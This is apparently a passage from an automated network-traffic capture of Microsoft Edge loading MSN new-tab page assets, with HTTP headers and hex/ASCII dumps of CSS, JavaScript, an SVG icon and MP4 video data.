2024-04-23 21:02:22 UTC	8559	IN	Data Raw: 30 30 30 30 32 31 36 33 0d 0a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 76 69 64 65 6f 53 65 74 74 69 6e 67 73 47 6c 79 70 68 41 6e 64 54 65 78 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 32 70 78 7d 60 2c 4c 74 3d 54 74 2e 69 60 0a 2e 63 6c 6f 73 65 42 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 6c 65 66 74 3a 2d 31 38 70 78 7d 66 6c 75 65 6e 74 2d 73 77 69 74 63 68 2e 62 61 63 6b 67 72 6f 75 6e 64 44 69 73 70 6c 61 79 53 77 69 74 63 68 2c 66 6c 75 65 6e 74 2d 73 77 69 74 63 68 2e 65 76 65 6e 74 42 61 63 6b 67 72 6f 75 6e 64 44 69 73 70 6c 61 79 53 77 69 74 63 68 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 7d 66 6c 75 65 6e 74 2d 73 77 69 74 63 68 2e 62 61 63 6b 67 72 6f 75 6e 64 4f 70 74 69 6f 6e Data Ascii: 00002163focus-visible{outline:none}.videoSettingsGlyphAndText{padding-left:12px}`,Lt=Tt.i`.closeButtonContainer{left:-18px}fluent-switch.backgroundDisplaySwitch,fluent-switch.eventBackgroundDisplaySwitch{margin-right:auto}fluent-switch.backgroundOption
2024-04-23 21:02:22 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49842	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	807	OUT	GET /staticsb/statics/latest/common/icons/ZoomWhite.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
2024-04-23 21:02:22 UTC	1040	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: atUuptCT+1yuVpYehLFIuw== Last-Modified: Mon, 22 Apr 2024 19:07:05 GMT ETag: 0x8DC62FF6645B128 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: ee094fdb-401e-00e7-4a20-95aec7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Length: 1133 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746479,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016c6f Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016c6f Vary: Origin
2024-04-23 21:02:22 UTC	1133	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 33 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 33 20 31 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 37 2e 30 30 37 36 35 20 30 2e 34 36 32 36 34 36 4c 31 32 2e 31 35 31 34 20 30 2e 34 36 34 31 32 4c 31 32 2e 32 32 34 31 20 30 2e 34 37 36 30 36 38 4c 31 32 2e 32 37 37 36 20 30 2e 34 39 33 31 38 38 4c 31 32 2e 33 34 32 33 20 30 2e 35 32 35 30 32 35 4c 31 32 2e 33 38 39 32 20 30 2e 35 35 37 36 37 39 4c 31 32 2e 34 34 30 36 20 30 2e 36 30 36 33 39 35 4c 31 32 2e 34 36 35 20 30 2e 36 33 36 36 37 31 4c 31 32 2e 35 30 30 39 20 30 2e 36 39 35 38 37 39 4c 31 32 2e 35 32 Data Ascii: <svg width="13" height="12" viewBox="0 0 13 12" xmlns="http://www.w3.org/2000/svg"> <path d="M7.00765 0.462646L12.1514 0.46412L12.2241 0.476068L12.2776 0.493188L12.3423 0.525025L12.3892 0.557679L12.4406 0.606395L12.465 0.636671L12.5009 0.695879L12.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49846	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	720	OUT	GET /bundles/v1/edgeChromium/latest/libs_channel-page-utils_dist_UrlUtilities_js-libs_feed-layout_dist_Utils_js-libs_river-data-t-5c6710.8c7d0e28efea755d336f.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:22 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: ES2S/txdZ/kKJfKX4d67gA== Last-Modified: Tue, 23 Apr 2024 19:32:47 GMT ETag: 0x8DC63CC28382396 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: c12c7c7e-501e-007a-36b5-9596ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402746550,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016cb6 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016cb6 Vary: Origin
2024-04-23 21:02:22 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6c 69 62 73 5f 63 68 61 6e 6e 65 6c 2d 70 61 67 65 2d 75 74 69 6c 73 5f 64 69 73 74 5f 55 72 6c 55 74 69 6c 69 74 69 65 73 5f 6a 73 2d 6c 69 62 73 5f 66 65 65 64 2d 6c 61 79 6f 75 74 5f 64 69 73 74 5f 55 74 69 6c 73 5f 6a 73 2d 6c 69 62 73 5f 72 69 76 65 72 2d 64 61 74 61 2d 74 2d 35 63 36 37 31 30 22 2c 22 6c 69 62 73 5f 63 68 61 6e 6e 65 6c 2d 70 61 67 65 2d 75 74 69 6c 73 5f 64 69 73 74 5f 55 72 6c 55 74 69 6c 69 74 69 65 Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_channel-page-utils_dist_UrlUtilities_js-libs_feed-layout_dist_Utils_js-libs_river-data-t-5c6710","libs_channel-page-utils_dist_UrlUtilitie
2024-04-23 21:02:22 UTC	9395	IN	Data Raw: 64 2c 72 4c 69 6e 6b 3a 74 2e 64 65 73 74 69 6e 61 74 69 6f 6e 55 72 6c 2c 69 6d 67 4c 69 6e 6b 3a 74 2e 69 6d 61 67 65 44 61 74 61 26 26 74 2e 69 6d 61 67 65 44 61 74 61 2e 73 6f 75 72 63 65 7d 29 7d 28 74 29 7d 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 72 61 79 2d 6f 76 65 72 6c 61 79 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 24 7b 74 3d 3e 63 28 74 29 7d 70 78 3b 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 60 3b 66 75 6e 63 74 69 6f 6e 20 64 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 69 6d 61 67 65 57 69 64 74 68 2f 32 36 38 2a 31 30 30 3c 3d 38 32 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 29 7b 72 65 74 75 72 6e 20 64 28 74 29 3f 32 36 38 3a 74 2e 69 6d 61 67 65 57 69 64 74 68 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 29 7b 74 26 26 74 2e 76 69 73 Data Ascii: d,rLink:t.destinationUrl,imgLink:t.imageData&&t.imageData.source})}(t)}" /><div class="gray-overlay" style="width: ${t=>c(t)}px;"></div></div>`;function d(t){return t.imageWidth/268*100<=82}function c(t){return d(t)?268:t.imageWidth}function h(t){t&&t.vis
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 6e 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6f 29 7d 68 61 6e 64 6c 65 49 6e 66 6f 70 61 6e 65 43 6c 69 63 6b 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 74 26 26 74 2e 63 61 72 64 44 61 74 61 26 26 28 79 2e 41 6c 2e 43 75 72 72 65 6e 74 46 6c 69 67 68 74 53 65 74 2e 68 61 73 28 22 70 72 67 2d 73 69 70 2d 74 61 6c 6c 66 6c 70 2d 63 22 29 7c 7c 79 2e 41 6c 2e 43 75 72 72 65 6e 74 46 6c 69 67 68 74 53 65 74 2e 68 61 73 28 22 70 72 67 2d 73 69 70 2d 74 61 6c 6c 66 6c 70 22 29 29 26 26 28 6e 75 6c 6c 3d 3d 3d 78 2e 4d 30 7c 7c 76 6f 69 64 20 30 3d 3d 3d 78 2e 4d 30 7c 7c 78 2e 4d 30 2e 61 64 64 4f 72 55 70 64 61 74 65 54 6d 70 6c 50 72 6f 70 65 72 74 79 28 22 49 6e 66 6f 70 61 6e 65 43 6c 69 63 6b 65 64 22 2c 22 Data Ascii: 00006000ent.dispatchEvent(o)}handleInfopaneClick(t){return null!=t&&t.cardData&&(y.Al.CurrentFlightSet.has("prg-sip-tallflp-c")\|\|y.Al.CurrentFlightSet.has("prg-sip-tallflp"))&&(null===x.M0\|\|void 0===x.M0\|\|x.M0.addOrUpdateTmplProperty("InfopaneClicked","
2024-04-23 21:02:22 UTC	8204	IN	Data Raw: 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 68 2e 4c 4f 5d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2c 22 72 65 73 74 61 72 74 52 6f 74 61 74 69 6f 6e 54 69 6d 65 72 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 68 2e 4c 4f 5d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 61 62 6c 65 52 65 73 74 61 72 74 52 6f 74 61 74 69 6f 6e 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 28 30 2c 63 2e 4c 6a 29 28 7b 61 74 74 72 69 62 75 74 65 3a 22 6d 65 64 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 2c 63 6f 6e 76 65 72 74 65 72 3a 63 2e 62 77 7d 29 5d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2c 22 68 61 73 4d 65 64 69 61 43 6f 6e 74 72 6f 6c 73 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6e 2e 67 6e 29 28 5b 28 30 2c 63 2e 4c 6a 29 28 7b 61 74 74 72 69 62 75 Data Ascii: d 0),(0,n.gn)([h.LO],g.prototype,"restartRotationTimer",void 0),(0,n.gn)([h.LO],g.prototype,"enableRestartRotation",void 0),(0,n.gn)([(0,c.Lj)({attribute:"media-controls",converter:c.bw})],g.prototype,"hasMediaControls",void 0),(0,n.gn)([(0,c.Lj)({attribu
2024-04-23 21:02:23 UTC	6156	IN	Data Raw: 30 30 30 30 31 38 30 30 0d 0a 61 72 20 6e 3d 69 28 36 37 37 32 31 29 2c 61 3d 69 28 33 37 33 38 34 29 2c 6f 3d 69 28 33 32 36 30 35 29 2c 73 3d 69 28 31 39 38 36 37 29 2c 72 3d 69 28 32 39 30 35 34 29 2c 6c 3d 69 28 32 30 38 35 35 29 2c 64 3d 69 28 33 33 36 39 33 29 2c 63 3d 69 28 34 39 32 31 38 29 2c 68 3d 69 28 39 39 34 34 30 29 2c 70 3d 69 28 35 35 37 31 35 29 2c 75 3d 69 28 37 31 39 36 29 3b 63 6f 6e 73 74 20 76 3d 64 2e 78 2e 63 6f 6d 70 6f 73 65 28 7b 6e 61 6d 65 3a 22 63 73 2d 6e 61 74 69 76 65 2d 61 64 2d 63 61 72 64 2d 32 34 22 2c 73 74 79 6c 65 73 3a 68 2e 69 2c 74 65 6d 70 6c 61 74 65 3a 28 30 2c 70 2e 24 29 28 7b 70 72 6f 76 69 64 65 72 3a 63 2e 64 79 60 24 7b 6e 2e 69 7d 60 2c 66 6f 6f 74 65 72 45 6e 64 3a 63 2e 64 79 60 24 7b 61 2e 7a 7d 60 Data Ascii: 00001800ar n=i(67721),a=i(37384),o=i(32605),s=i(19867),r=i(29054),l=i(20855),d=i(33693),c=i(49218),h=i(99440),p=i(55715),u=i(7196);const v=d.x.compose({name:"cs-native-ad-card-24",styles:h.i,template:(0,p.$)({provider:c.dy`${n.i}`,footerEnd:c.dy`${a.z}`
2024-04-23 21:02:23 UTC	2411	IN	Data Raw: 30 30 30 30 30 39 35 46 0d 0a 39 39 38 31 37 29 2c 61 3d 69 28 37 38 39 32 33 29 2c 6f 3d 69 28 36 39 34 34 32 29 2c 73 3d 69 28 39 34 35 38 35 29 2c 72 3d 69 28 36 38 35 33 30 29 3b 63 6f 6e 73 74 20 6c 3d 61 2e 69 60 20 24 7b 6e 2e 6a 7d 20 24 7b 6f 2e 6a 7d 20 2e 63 6f 6d 70 6c 65 78 2d 61 64 20 2e 63 61 72 64 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 24 7b 73 2e 6d 7d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 24 7b 72 2e 79 7d 7d 3a 68 6f 73 74 28 5b 69 6e 73 69 64 65 2d 69 6e 66 6f 70 61 6e 65 5d 29 20 63 73 2d 63 61 72 64 2e 63 6f 6d 70 6c 65 78 2d 61 64 7b 77 69 64 74 68 3a 61 75 74 6f 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 60 7d 2c 31 36 33 37 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 27 3c 73 76 67 Data Ascii: 0000095F99817),a=i(78923),o=i(69442),s=i(94585),r=i(68530);const l=a.i` ${n.j} ${o.j} .complex-ad .card-title{font-size:${s.m};line-height:${r.y}}:host([inside-infopane]) cs-card.complex-ad{width:auto;border-radius:0}`},16370:function(t){t.exports='<svg
2024-04-23 21:02:23 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49848	23.0.175.178	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	704	OUT	GET /1d6b80ab-342d-4031-8b17-fa7a415a779b/185e9ae8-e7e7-42c3-a20e-948d9a41b4bf.mp4 HTTP/1.1 Host: prod-streaming-video-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: video Referer: https://ntp.msn.com/ Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Range: bytes=50176-753663 If-Range: "0x8DAB04A5AB12E2A"
2024-04-23 21:02:22 UTC	553	IN	HTTP/1.1 206 Partial Content Pragma: IISMS/6.0,IIS Media Services Premium by Microsoft Content-Type: video/mp4 Content-MD5: pwyLFAr3EgWOUF9+BWfEPw== Last-Modified: Mon, 17 Oct 2022 14:17:42 GMT ETag: "0x8DAB04A5AB12E2A" Server: Microsoft-IIS/10.0 IISMS/6.0 X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Cache-Control: max-age=1658325 Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Range: bytes 50176-753663/763447 Content-Length: 703488 Connection: close Alt-Svc: h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43"
2024-04-23 21:02:22 UTC	15831	IN	Data Raw: 0d 86 84 fd 05 e3 0d 27 22 f7 4d 2b 6c 53 86 72 31 d4 a8 7d 8f b3 2e 9b e6 e4 e4 ac 51 96 5a 09 85 5c e1 c8 88 f8 49 8a 73 9d 61 c0 75 cf 5d c2 5b 09 29 d7 4d 29 09 d2 ee 18 b4 03 13 dd a6 82 0b 53 4d 69 d1 b0 96 df 73 e9 fa c5 eb 03 5b cb cf 9b 86 f7 ce 14 75 8c 2d 22 c2 c7 e8 8d 89 79 c0 77 74 fa c7 79 ba e6 6a 8e 47 70 60 d9 99 53 7a a4 7e 53 2f bd e7 22 82 3c ea d5 33 00 0f 4f 71 12 69 12 17 25 76 ca d4 ad a6 3a 4f db a4 30 e7 18 de 08 ea 4e 53 b3 8a 3e 4f c1 f7 2d 31 49 23 1e 4e 4b 7b 5b 6b 73 91 23 9a ae 1f 65 5b 08 e0 8a 22 31 e2 a3 72 db e3 90 d7 20 95 56 96 26 8d f2 50 52 53 dd 40 81 b8 4e 17 88 60 38 9c 3d 06 e5 c1 62 f1 01 22 1d 98 98 d9 bb d2 28 cf 26 2f 14 06 22 ee c1 ff be 59 4e d2 46 0b 5c d1 1f 1e 28 d0 68 05 64 bf d6 e0 f1 97 c0 4b 17 38 Data Ascii: '"M+lSr1}.QZ\Isau][)M)SMis[u-"ywtyjGp`Sz~S/"<3Oqi%v:O0NS>O-1I#NK{[ks#e["1r V&PRS@N`8=b"(&/"YNF\(hdK8
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: cc bd 2c e0 3c 13 79 87 c4 48 62 2c a1 9a e5 c9 b8 0b dd 70 2d af 16 50 2e 34 2e 84 d4 25 9b c3 51 fe 5f 32 f7 3f b0 78 8c f8 b0 b6 5b ca 5e 0a 7c 5a eb 6f 06 9e 76 47 f4 b5 7b 19 56 11 af 19 48 ef fc 7e 4d e1 3a 65 99 91 a2 78 a5 f5 97 b2 f4 51 be 63 25 8f 0c 40 9c aa b8 3e 0c fb 4a 54 64 8a 4d 53 f2 b3 39 58 01 ea b6 81 89 00 74 4c 0a 37 3e 90 77 d1 11 f5 61 ab 91 ee 58 8f 60 71 39 46 0b d5 2a 1d 9e 59 3e 00 d5 d1 e8 77 fa 2f 82 ca 15 8f 4d b7 c5 23 d5 d9 8a a6 75 3f 40 85 58 7a 28 9e cf 54 a0 c3 75 4c 9a 15 c2 1e a5 a5 0d ae b5 6e 28 9b 97 75 8b 88 e2 c9 a0 1e a7 d2 93 e5 01 85 6f cc ef c9 66 a7 10 46 68 36 08 7d ce c1 44 b0 29 2b ae 45 ab 09 a2 60 ce 3d 4e 26 51 5f 1e 26 be 78 c9 46 8e 33 25 79 2f a1 c6 a9 a7 ed 23 79 f4 8b 58 99 f0 0d 39 97 7e 51 5b Data Ascii: ,<yHb,p-P.4.%Q_2?x[^\|ZovG{VH~M:exQc%@>JTdMS9XtL7>waX`q9F*Y>w/M#u?@Xz(TuLn(uofFh6}D)+E`=N&Q_&xF3%y/#yX9~Q[
2024-04-23 21:02:22 UTC	1032	IN	Data Raw: 7c a1 cc d9 da 9f 60 9b ee fa 4a 59 7b 7f 31 c0 3c ca bd 9e c3 a8 09 2a 7f e5 a0 11 e2 c4 8c ed c2 24 01 07 df c4 08 cc d6 0a 55 c1 54 32 a0 89 51 1c 92 00 59 21 ef d4 fb a0 8d c6 71 2d 35 11 74 62 f4 a7 a7 af 9b 4a ee ed a3 d0 16 e1 f6 53 2b d5 bf 6a 9d f0 a7 71 00 21 55 88 ae 4b 08 c8 21 35 51 54 44 3a 11 c4 46 39 ee a6 7a 49 63 c1 88 0b 04 0d 94 cd 5f 27 28 5d 7b c0 2b ca 3a 7c 2a 2c 7f 11 e4 e7 4f 4c 1c 7b 80 60 35 ba fb b9 02 68 4a 70 bd 1e 8b 9a 45 76 f6 ac fe 50 41 f4 8d 29 b2 a0 4b 30 ac a5 b9 70 fe 0b a6 c1 eb cd 14 a5 d4 8f 73 a5 17 50 de a9 66 0d 17 d4 cf 40 39 07 d8 f0 0b 27 f8 dc 6c 5a 81 00 00 00 ed 01 9e 61 74 5f 0e 49 d5 b1 9a 51 72 d3 45 e3 d1 46 7b 8a 06 6e a4 0d b1 f0 d9 19 6a 03 10 86 45 b5 88 a0 fb 82 45 7f 8c 12 10 55 e6 8f 56 6f 4d Data Ascii: \|`JY{1<$UT2QY!q-5tbJS+jq!UK!5QTD:F9zIc_'(]{+:\|,OL{`5hJpEvPA)K0psPf@9'lZat_IQrEF{njEEUVoM
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: c7 01 c1 70 e8 44 58 08 62 5c 1b 34 de 8e 55 54 6e 24 9c d0 9e d2 09 ec cb b8 eb 71 e1 43 9b 60 20 24 f1 d6 78 80 8c ba ee 69 e3 99 f7 34 35 03 44 50 f5 1d 54 76 aa a5 fb 7e 8a c9 4c ab 63 3d 86 e6 f8 62 86 c1 5a ce 82 38 3e 4c 74 8f 46 9b 6f a8 a7 4e 53 d9 81 5a 59 d6 a1 06 1e 6e 77 7d f5 bc 4b 8e ea af 48 e9 fb 75 af c8 e9 73 a3 06 68 66 5e 3c fc 8a af 3d 07 aa d8 93 fb 4b a3 47 83 a5 ff 15 65 9f 04 52 7e 75 2c cb 11 ec 27 f8 db 18 6e d6 25 53 9f 55 e3 fe af cc 9e 74 ed 0b 0f 41 d5 3f 9d 68 47 81 34 c5 1a a7 dd 67 0d 57 e4 08 ac 28 fe cd 6b 7f 66 64 f7 ad 0d 21 3c 5a 9e 9c a5 8d a6 06 7c f4 e0 9e 32 05 60 d5 a1 f6 ae 77 f4 dd c7 92 54 67 16 64 cd a7 80 85 ea 9c 56 b6 7d 3b 48 89 33 7c 9b e8 96 fb af e3 f6 c2 3d fc 1a d7 12 f3 65 e6 96 44 37 8b 26 18 02 Data Ascii: pDXb\4UTn$qC` $xi45DPTv~Lc=bZ8>LtFoNSZYnw}KHushf^<=KGeR~u,'n%SUtA?hG4gW(kfd!<Z\|2`wTgdV};H3\|=eD7&
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 5a 47 0a b2 b4 eb bc 79 e8 08 35 08 85 1a 00 08 46 8d a4 38 f9 5e 87 ae 81 d3 fd 27 0b 98 0f 7c 7d fe 28 2a e8 45 74 fd 02 ed d2 4d 0f 5e ca b6 a3 22 38 b3 73 fd c4 d4 b3 0b fe 29 16 10 25 45 b0 79 de 36 1f fa 04 45 42 f1 f5 7a 8a 71 ed fd 5f e0 91 2f 34 5a d4 85 08 8a 3d b5 e2 e2 86 fa f8 d7 d8 70 fe ac a8 60 55 90 fb bb c7 b2 7f 0d 7d 36 54 32 78 ef e2 b2 86 f9 8d 27 6f 2e 7a bf 92 b7 e3 cc 84 07 fb 53 ba 76 3c 46 a7 aa 0b 30 66 96 eb 74 39 12 d8 7a 85 93 c3 ca ab e2 01 e0 5a b3 a0 5b 71 96 36 46 3b a0 80 a5 7d e1 df a0 a5 ce f0 98 61 44 0e 58 00 a6 90 ec e1 a6 32 68 f9 dd 39 e1 d6 3d a0 03 57 3c c2 87 24 00 52 62 24 27 09 c8 59 f9 5f c1 f6 e1 86 64 db 2c 39 ca 36 31 8a f1 60 60 1f 57 7b 97 77 d2 40 2e 6c 80 68 ef ce 26 0d bc 36 0b 31 de c9 3e ba c7 85 Data Ascii: ZGy5F8^'\|}(*EtM^"8s)%Ey6EBzq_/4Z=p`U}6T2x'o.zSv<F0ft9zZ[q6F;}aDX2h9=W<$Rb$'Y_d,961``W{w@.lh&61>
2024-04-23 21:02:23 UTC	7952	IN	Data Raw: 09 b3 c9 80 aa c7 bd a5 1e af fd 34 13 39 f0 c9 23 7f 94 e3 fa 9a 9d 07 46 ef 5f 64 dd a9 9f a6 fa e3 d7 4a 01 2b ac d5 d5 32 54 b1 37 96 da 3c be 26 c8 d2 bd fc 3f c0 80 60 d1 86 8d c4 41 b6 ea 8b f9 a0 df 12 83 86 9c 71 1a d4 fc 24 48 c8 ba 23 4b 54 d8 e1 27 82 4a 74 4d 70 fc 01 cd fb 66 94 08 ef 74 0b 81 a0 a5 98 67 a1 75 e5 6b 9f a7 f5 56 92 26 2a c6 7b 37 61 58 5d 69 8c 86 d0 ea ef 9d 84 2f 5c c0 93 1a f8 d1 b0 7d 0c a5 b8 31 8b 32 d0 7b dd ea 4b 82 41 61 0b 87 ca 01 99 f4 d4 af df 8e 54 68 14 2f cd f8 4b 07 1a 8d b9 2d 11 40 bc 86 65 05 fa 64 69 eb 47 b5 c1 c2 ed 0b ed 1c 49 91 9e bb a2 16 3a ac 57 7f cd 3b 47 19 f3 fa 7a 44 19 51 f5 94 d9 16 3b 64 2f 9c 58 e5 d0 74 d2 b2 a5 57 24 92 e7 68 01 86 af 72 5c 86 10 d8 c8 e4 7d 08 7a 23 e6 ae a1 0e cb 86 Data Ascii: 49#F_dJ+2T7<&?`Aq$H#KT'JtMpftgukV&*{7aX]i/\}12{KAaTh/K-@ediGI:W;GzDQ;d/XtW$hr\}z#
2024-04-23 21:02:23 UTC	8144	IN	Data Raw: a5 27 dc 22 69 ee 67 f6 86 49 de 07 09 c3 4a a9 73 84 fd 56 f4 a0 ca b3 3d 39 12 24 2f fb a4 71 c1 de c2 85 84 21 d7 5f e2 ff 15 83 f8 1c 38 ca 33 9f cf ea ac ab 81 fd c4 16 7c 19 7e d0 34 cd 1a 72 ae 40 0b c2 80 c6 59 75 6a 5d de 27 4f fa 02 6e 24 dc 1c cd 5c d5 55 dc 2a 28 f0 44 35 38 89 5a 98 e5 6a 41 24 61 7c 4d 16 c4 b4 f9 0e bd ac ae 81 bf 9d b6 f8 45 9c 8b 03 48 a1 85 cd 0d 83 05 cd 94 39 0f 7b f2 f8 ed 66 0d 47 f2 49 ca cd 23 7d 00 09 56 e1 01 bf 2a c0 09 ae 13 bc 5d d4 01 b8 30 4d d4 a8 8b f8 38 e6 c5 c0 28 4e 51 12 48 2d 51 d5 9d b2 6c 46 ba 0b 90 8a cc 88 e5 e1 82 03 6e 92 bd db 9b 48 ab 94 53 0b 69 39 e2 28 54 cd d7 e9 a8 0a 6d cc 2c 6c 56 17 b9 85 49 04 1f 37 fa 73 c9 08 27 d7 f1 fd ee 8f 9f b6 71 47 de d6 cf 85 cd bb a9 7b d6 8e e7 cd d5 13 Data Ascii: '"igIJsV=9$/q!_83\|~4r@Yuj]'On$\U(D58ZjA$a\|MEH9{fGI#}V]0M8(NQH-QlFnHSi9(Tm,lVI7s'qG{
